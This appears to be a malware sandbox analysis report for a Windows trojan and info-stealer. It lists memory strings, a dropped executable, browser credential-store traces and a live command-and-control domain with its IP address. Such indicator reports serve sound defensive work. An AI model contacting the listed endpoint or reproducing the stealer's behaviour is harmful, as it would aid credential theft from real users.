Source: file.exe, 00000000.00000003.2196496632.000000000544A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2196383708.000000000544A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2196338518.000000000544C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2196496632.000000000544A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2196383708.000000000544A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2196338518.000000000544C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2196496632.000000000544A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2196383708.000000000544A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2196338518.000000000544C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: file.exe, 00000000.00000003.2223544542.0000000000C2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: file.exe, 00000000.00000003.2237094090.0000000005420000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/
Source: file.exe, 00000000.00000003.2359445022.000000000541F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2369280605.000000000541F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/R
Source: file.exe, 00000000.00000003.2222022245.0000000005414000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2222204498.0000000005415000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2221855615.0000000005412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/X
Source: file.exe, 00000000.00000003.2254734224.0000000000C19000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2250973005.0000000000C1F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2237004681.000000000541B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2266271086.0000000000C21000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2366391425.0000000000C21000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2195912713.0000000000C0D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2359748216.0000000000C1A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2288105502.0000000000C21000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2263527453.0000000000C21000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2250990728.0000000000C1A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2237094090.0000000005420000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2365962583.0000000000C07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api
Source: file.exe, 00000000.00000003.2288027243.0000000000C07000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2359578184.0000000000C05000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2365962583.0000000000C07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiG4
Source: file.exe, 00000000.00000003.2288027243.0000000000C07000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2359578184.0000000000C05000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2365962583.0000000000C07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiI4
Source: file.exe, 00000000.00000003.2263441544.000000000541F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2287931202.000000000541F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2266340930.000000000541C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2265942505.000000000541B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/r
Source: file.exe, 00000000.00000003.2222022245.0000000005414000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2222204498.0000000005415000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2221855615.0000000005412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/x
Source: file.exe	String found in binary or memory: https://necklacedmny.store:443/api
Source: file.exe, 00000000.00000003.2266271086.0000000000C19000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2288118028.0000000000C1A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2263527453.0000000000C19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/apix
Source: file.exe, 00000000.00000003.2223235792.000000000581F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.2223235792.000000000581F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000000.00000003.2196496632.000000000544A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2196383708.000000000544A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2196338518.000000000544C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.2196496632.000000000544A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2196383708.000000000544A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2196338518.000000000544C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000000.00000003.2223499969.000000000544D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: file.exe, 00000000.00000003.2223499969.000000000544D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000003.2223235792.000000000581F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: file.exe, 00000000.00000003.2223235792.000000000581F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: file.exe, 00000000.00000003.2223235792.000000000581F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2223544542.0000000000C2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49758 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: HTUSFB9YFV610YTCBWQ47HFA41LN0.exe.0.dr	Static PE information: section name:
Source: HTUSFB9YFV610YTCBWQ47HFA41LN0.exe.0.dr	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0541B591	0_3_0541B591
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Code function: 5_2_00EB7002	5_2_00EB7002
Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	Code function: 5_2_00D3DBB1	5_2_00D3DBB1

Source: file.exe, 00000000.00000003.2331916160.00000000059AD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2321925616.0000000005804000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2344460293.0000000005AD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2328973352.0000000005A42000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2329377133.0000000005A52000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2322440428.0000000005802000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2332315329.0000000005A85000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2334668700.00000000059AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2346601128.0000000005AEF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2331680177.0000000005A79000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2336064109.00000000059AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2341113619.00000000059A5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2330424756.00000000059AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2330765954.0000000005A6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2345270984.00000000059A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2330536653.0000000005A62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2332620905.00000000059AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2331446461.0000000005A91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2343382065.00000000059B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2336770272.0000000005AAA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2330964081.00000000059A2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2332036650.0000000005A8B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2330658315.00000000059A2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2345958443.0000000005C1A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2327534047.00000000059A5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2348080247.00000000059A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2334140377.0000000005A93000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2329177097.00000000059AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2344638570.0000000005C00000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2331090186.0000000005A66000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2338775825.00000000059AC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2330865075.0000000005B3B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2341516858.0000000005AB9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2332180775.00000000059AC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2344974330.00000000059AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2347482084.0000000005AE2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2347144959.0000000005AE3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2344301617.00000000059A5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2332785512.0000000005A94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2345771704.0000000005AE1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2359152784.000000000540A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2358883014.0000000005475000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2344012200.0000000005ACC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2329687066.00000000059AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2346286965.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2343866760.00000000059A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2345123149.0000000005ADB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2333879704.00000000059AC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2342325381.0000000005AB9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2328565023.0000000005A46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2329897958.0000000005B0C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2330334019.0000000005A6B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2349186921.0000000005AFD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2317618910.000000000564B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2328024596.0000000005A49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2333103414.0000000005A9B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2322310530.00000000059A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2342004771.00000000059A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2323484944.00000000059A5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2340518400.0000000005AB9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2330000335.00000000059A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2320431708.0000000005A4D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2348259254.0000000005AF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2359858710.0000000005C62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2323846233.0000000005A44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2329790378.0000000005A53000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2318864812.00000000059AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2345401594.0000000005AD3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2329074545.0000000005AE2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2359001684.0000000005602000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2337229571.00000000059AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2330104383.0000000005A70000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2337700856.0000000005AA8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2330222003.00000000059AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2318647442.0000000005805000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2347302737.00000000059A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2338270013.0000000005BAC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2333659869.0000000005A9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2328730406.0000000005AF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2346439806.00000000059AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2346130068.00000000059AC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2348982399.00000000059A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2339699401.00000000059A5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2331216798.0000000005B36000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2346759792.00000000059AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2332942333.00000000059A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2345605004.00000000059A2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2320691362.00000000059B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2339088554.0000000005ABE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2348612131.0000000005AF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2331793329.0000000005B58000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2342690369.0000000005BE1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2331566822.00000000059A7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2343707100.0000000005ACB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2335479434.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2328890977.00000000059A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2334445084.0000000005B8E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2348430592.00000000059A2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2347698504.0000000005C30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2332452719.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2334978624.0000000005AAA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2335218261.00000000059B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2331328441.00000000059B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2328392711.00000000059A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2333393843.00000000059A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: ZLIB complexity 0.9979489126175548

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/2@5/2

Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe.log

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.2196383708.0000000005419000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2196181064.0000000005437000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2209556877.0000000005445000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 39%

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe "C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe "C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
